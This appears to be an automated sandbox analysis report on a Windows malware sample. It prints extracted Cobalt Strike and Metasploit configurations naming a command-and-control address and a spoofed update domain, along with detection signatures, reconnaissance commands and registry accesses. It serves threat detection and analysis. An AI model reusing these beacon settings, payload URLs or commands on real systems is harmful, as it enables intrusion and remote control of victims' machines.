cmd.exe (PID: 6580 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6528 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32com\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6632 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6540 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6616 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6508 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

Flash.exe (PID: 5864 cmdline: C:\Users\user\AppData\Roaming\Flash.exe MD5: 9F7C02C3D29ACFAFFA51CF2F7FF8B88A)

cleanup

Malware Configuration

Threatname: Metasploit

{"Headers": "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 QIHU 360EE\r\nHost: windows.qh-microsoft-update.com\r\n", "Type": "Metasploit Download", "URL": "http://45.154.13.94/F8JD2R"}

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 1000, "MaxGetSize": 1398104, "Jitter": 10, "MaxDNS": 235, "C2Server": "45.154.13.94,/updates", "UserAgent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 QIHU 360EE", "HttpPostUri": "/windowsxp/updcheck.php", "Malleable_C2_Instructions": ["Base64 decode"], "HttpGet_Metadata": ["user=", "Cookie"], "HttpPost_Metadata": ["Accept: text/plain", "Accept-Language: en-us", "Accept-Encoding: text/plain", "Content-Type: application/x-www-form-urlfackfackd", "id", "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="], "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "PipeName": "", "DNS_Idle": "8.8.4.4", "DNS_Sleep": 0, "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 305419896, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": "Host: windows.qh-microsoft-update.com\r\n"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	Cobaltbaltstrike_RAW_Payload_https_stager_x86	Detects CobaltStrike payloads	Avast Threat Intel Team	0x373a8:$h01: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0x61678:$h01: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28
00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000002.00000002.475650792.0000000002A30000.00000004.00000040.sdmp	CobaltStrike_C2_Decoded_Config_Indicator	Detects CobaltStrike C2 decoded profile configuration	yara@s3c.za.net	0x858:$c2_dec_config: 01 00 00 00 08 00 00 00 01 00 00 00 BB 01 00 00 02 00 00 00 E8 03 00 00 02 00 00 00 58 55 15 00 ...
00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2f858:$xs1: WS2_32.dll 0x2fd3e:$xs2: ReflectiveLoader
00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp	CobaltStrike_Sleep_Decoder_Indicator	Detects CobaltStrike sleep_mask decoder	yara@s3c.za.net	0x429e:$sleep_decoder: 8B 07 8B 57 04 83 C7 08 85 C0 75 2C
00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2fd3e:$loader_export: ReflectiveLoader 0x2fd32:$exportname: beacon.dll
00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2e89c:$xs1: WS2_32.dll 0x2ed82:$xs2: ReflectiveLoader
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	Cobaltbaltstrike_Beacon_x86	Detects CobaltStrike payloads	Avast Threat Intel Team	0x44:$h01: 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 50 81 00 00 FF D3 68 0x2fe64:$h13: 2E 2F 2E 2F 2E 2C 2E 26 2E 2C 2E 2F 2E 2C 2F 95 2E
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	CobaltStrike_Sleep_Decoder_Indicator	Detects CobaltStrike sleep_mask decoder	yara@s3c.za.net	0x36e2:$sleep_decoder: 8B 07 8B 57 04 83 C7 08 85 C0 75 2C
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2ed82:$loader_export: ReflectiveLoader 0x2ed76:$exportname: beacon.dll
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x300aa:$xo1: cATGBBO\x01\x1B\x1E
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp	Cobaltbaltstrike_RAW_Payload_https_stager_x86	Detects CobaltStrike payloads	Avast Threat Intel Team	0x0:$h01: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28
00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp	Cobaltbaltstrike_RAW_Payload_https_stager_x86	Detects CobaltStrike payloads	Avast Threat Intel Team	0x2b8a1:$h01: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28
00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Conhost Parent Process Executions

Show sources

Source: Process started

Author: omkar72: Data: Command: netstat -ano, CommandLine: netstat -ano, CommandLine|base64offset|contains: l, Image: C:\Windows\SysWOW64\NETSTAT.EXE, NewProcessName: C:\Windows\SysWOW64\NETSTAT.EXE, OriginalFileName: C:\Windows\SysWOW64\NETSTAT.EXE, ParentCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 4448, ProcessCommandLine: netstat -ano, ProcessId: 5992

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName , CommandLine: WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName , CommandLine|base64offset|contains: X, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5076, ProcessCommandLine: WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName , ProcessId: 1000

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	Malware Configuration Extractor: Metasploit {"Headers": "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 QIHU 360EE\r\nHost: windows.qh-microsoft-update.com\r\n", "Type": "Metasploit Download", "URL": "http://45.154.13.94/F8JD2R"}
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp	Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 1000, "MaxGetSize": 1398104, "Jitter": 10, "MaxDNS": 235, "C2Server": "45.154.13.94,/updates", "UserAgent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 QIHU 360EE", "HttpPostUri": "/windowsxp/updcheck.php", "Malleable_C2_Instructions": ["Base64 decode"], "HttpGet_Metadata": ["user=", "Cookie"], "HttpPost_Metadata": ["Accept: text/plain", "Accept-Language: en-us", "Accept-Encoding: text/plain", "Content-Type: application/x-www-form-urlfackfackd", "id", "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="], "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "PipeName": "", "DNS_Idle": "8.8.4.4", "DNS_Sleep": 0, "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 305419896, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": "Host: windows.qh-microsoft-update.com\r\n"}

Multi AV Scanner detection for submitted file

Show sources

Source: 8v4iWYLvKJ.exe	Virustotal: Detection: 28%			Perma Link
Source: 8v4iWYLvKJ.exe	ReversingLabs: Detection: 15%

Privilege Escalation:

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: Secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: SSPICLI.DLL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	DLL: USERENV.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: CRYPTBASE.DLL	Jump to behavior

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

EXE: C:\Users\user\AppData\Roaming\Flash.exe

Jump to behavior

Compliance:

DLL planting / hijacking vulnerabilities found

Show sources

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: Secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: SSPICLI.DLL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	DLL: USERENV.dll	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	DLL: CRYPTBASE.DLL	Jump to behavior

EXE planting / hijacking vulnerabilities found

Show sources

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

EXE: C:\Users\user\AppData\Roaming\Flash.exe

Jump to behavior

Creates license or readme file

Show sources

Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\license.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\readme.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\README.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\README.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\README.txt

PE / OLE file has a valid certificate

Show sources

Source: 8v4iWYLvKJ.exe

Static PE information: certificate valid

Uses new MSVCR Dlls

Show sources

Source: C:\ProgramData\lua\luac.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown	HTTPS traffic detected: 45.154.13.94:443 -> 192.168.2.3:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.90:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.11.25:443 -> 192.168.2.3:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.10.52:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.10.52:443 -> 192.168.2.3:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49729 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: 8v4iWYLvKJ.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Binary contains paths to debug symbols

Show sources

Source:	Binary string: D:\coding\rust\armutil\bin\target\release\deps\Flash.pdb source: 8v4iWYLvKJ.exe, 00000001.00000000.199882317.00007FF6567BE000.00000002.00020000.sdmp
Source:	Binary string: D:\coding\lua\WinFeature.pdb source: lua.exe, 0000001D.00000003.286776312.000000000096D000.00000004.00000001.sdmp
Source:	Binary string: c:\workspace\GTChecker\plutus\main\dev\target\win\Release\GTCheck.pdb source: Flash.exe, 00000004.00000003.207618804.0000000002EF0000.00000004.00000001.sdmp

Spreading:

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
